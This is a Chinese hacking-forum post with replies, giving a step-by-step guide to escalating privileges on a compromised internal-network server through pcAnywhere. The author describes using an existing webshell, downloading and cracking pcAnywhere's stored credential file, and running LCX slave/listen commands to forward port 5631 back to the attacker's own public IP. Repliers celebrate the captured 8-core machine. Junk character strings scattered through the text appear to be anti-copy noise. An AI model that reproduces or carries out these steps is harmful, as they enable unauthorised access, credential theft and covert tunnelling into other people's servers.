[原创文章] pcanywhere之内网提权 pcanywhere

huar

很多教程都是在外网直接连接的，像我这样的小菜没有这么好的命，我在用pcanywhere提权时问题总是多多，所以我今天做个在内网连接pcanywhere的简单教程。
. c* g7 g9 F$ ?- F
7 T" [; O* ^2 q; `2 f( Y. R提权方法：pcanywhere+LCX
$ L& C- {9 [9 C! V! E+ @
: m! O4 W$ c! D9 W/ G6 p获得webshell的过程就不说了，该篇教程主要给新手讲下提权的思路。
! J9 a, y% i1 f, F  t: Z" D# C& V% p( a& v7 ~
在shell里看了下，WScript.shell等重要的组件没有被禁用，首先在有可执行读写权限的目录，上传个cmd试下可以运行。. A0 ]$ c# x; V& |

: s: M, w. C+ h# j
# C1 D8 A# ?  j; P( Z1 q  u查看服务器开的端口时，发现服务器开了80、1433、5631等端口，并且服务器在内网。5 D( w; m* W9 W2 W1 F  B& S
- s% [" ^; L  f: f

' _* c2 |8 G+ c3 B2 H呵呵```pcanywhere的端口为5631，既然该站点有pcanywhere，我们可以试下用pcanywheere提权。于是就查下pcanywhere的目录下账号密码文件，下载到本地计算机上破解，呵呵```账号密码出来了。
6 u6 p4 y# `7 W" o+ l7 z% ?( g/ t# f0 o
' R: d$ E8 d: N, K! W0 K6 M' w  K3 H) Z; ?2 s& v

5 m0 q5 q% L) A9 C+ X+ [
. c. Q5 z+ g( W! `+ x: x由于服务器在内网，那我们就要做端口转发，又要用到LCX啦``
, ^5 P" x) L  }8 T3 n. a6 v0 ?6 ^( H

1 ?1 w& X+ L+ a- hLCX的用法再简单说下：
" r/ V- G3 f2 ^' h
) B5 X6 B% G6 V. l8 N/ Y  \9 j服务器上运行：lcx -slave XXX.XXX.XXX.XXX(你自己公网ip) XX(端口号) XXX.XXX.XXX.XXX（服务器ip） XXXX（服务器需要转发出去的端口）
4 r0 `: t6 }- R/ o, S. j
+ Z$ s  ?4 @( J" y本地计算机上运行：lcx -listen XX(端口号) XXX（在自己机器上指定的端口）
: n( I* i& e- S
( `7 S8 f4 \5 X由于我的机器也在内网，LCX 转发端口到本地必须用公网ip，所以我还需要在路由器上简单设置下。
5 R. I  M( u+ I; p顺便说下如果大家的机器在外网就不必再做端口映射之类的啦``
/ m- `" q6 ]8 j: y, W, U5 s; N: w
, c( g. r0 J: q( g
! {/ }. H* @" J' i( _9 B: O0 g7 |0 y+ w: K( Q; z  v, m  I

& I2 d8 F8 a; x# ~" V7 |- Y! \- ?呵呵``在连接的过程中出现个小问题，由于我用的是pcanyshell10.5的版本，在连接的时候提示版本过低，那我们就用12.0的版本试下。
% g! N" x6 P2 \' c: i/ T
5 P9 o0 c4 D9 Z5 J
- d( C: L) I, A+ A( x/ k2 I% P. u8 [) t& w# z' `

! E2 ]* b& q, ^: O/ J我们本地连接试试，输入我们刚破解的账号密码+ [0 T, v4 b* W. M; A$ {* r) v

5 @4 r: A5 a3 p- y9 K9 G. O1 g' J  X) U( w! c. V" b% [( m$ v
呵呵``连接成功,服务器不错，又一个8核^︵^
- P8 t9 e8 p" h) Q: t& b, b( ]' z! r& E! a' `0 {7 x5 h7 n  X- d" n

2 |% Z6 E) \, x6 S3 c* }9 i. T$ m) S, n

killadmin

但是我反弹后连接总是不成功,试着转发5632,5631一起,还是不行.

柔肠寸断

顶起。。。。。。。。。

gassiori

八核的哟

huar

哎。。。。运气不佳```老碰见内网的。。。。

柔肠寸断

不错不错。。。你的貌似一直都是内网服务器哈